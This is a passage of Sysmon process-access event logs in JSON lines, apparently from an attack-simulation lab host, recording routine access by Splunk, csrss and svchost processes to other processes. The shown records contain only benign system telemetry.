11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6011,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-41B4-5F2D-0000-001041EF0800}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-41B4-5F2D-0000-001041EF0800}","TargetProcessId":"4248","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6012,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-41B4-5F2D-0000-001041EF0800}\r\nTargetProcessId: 4248\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-41B4-5F2D-0000-001041EF0800}","TargetProcessId":"4248","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-regmon.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6013,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6014,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6015,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6016,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6017,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6018,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:57:40.417","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:57:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:57:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6019,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:57:40.417\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 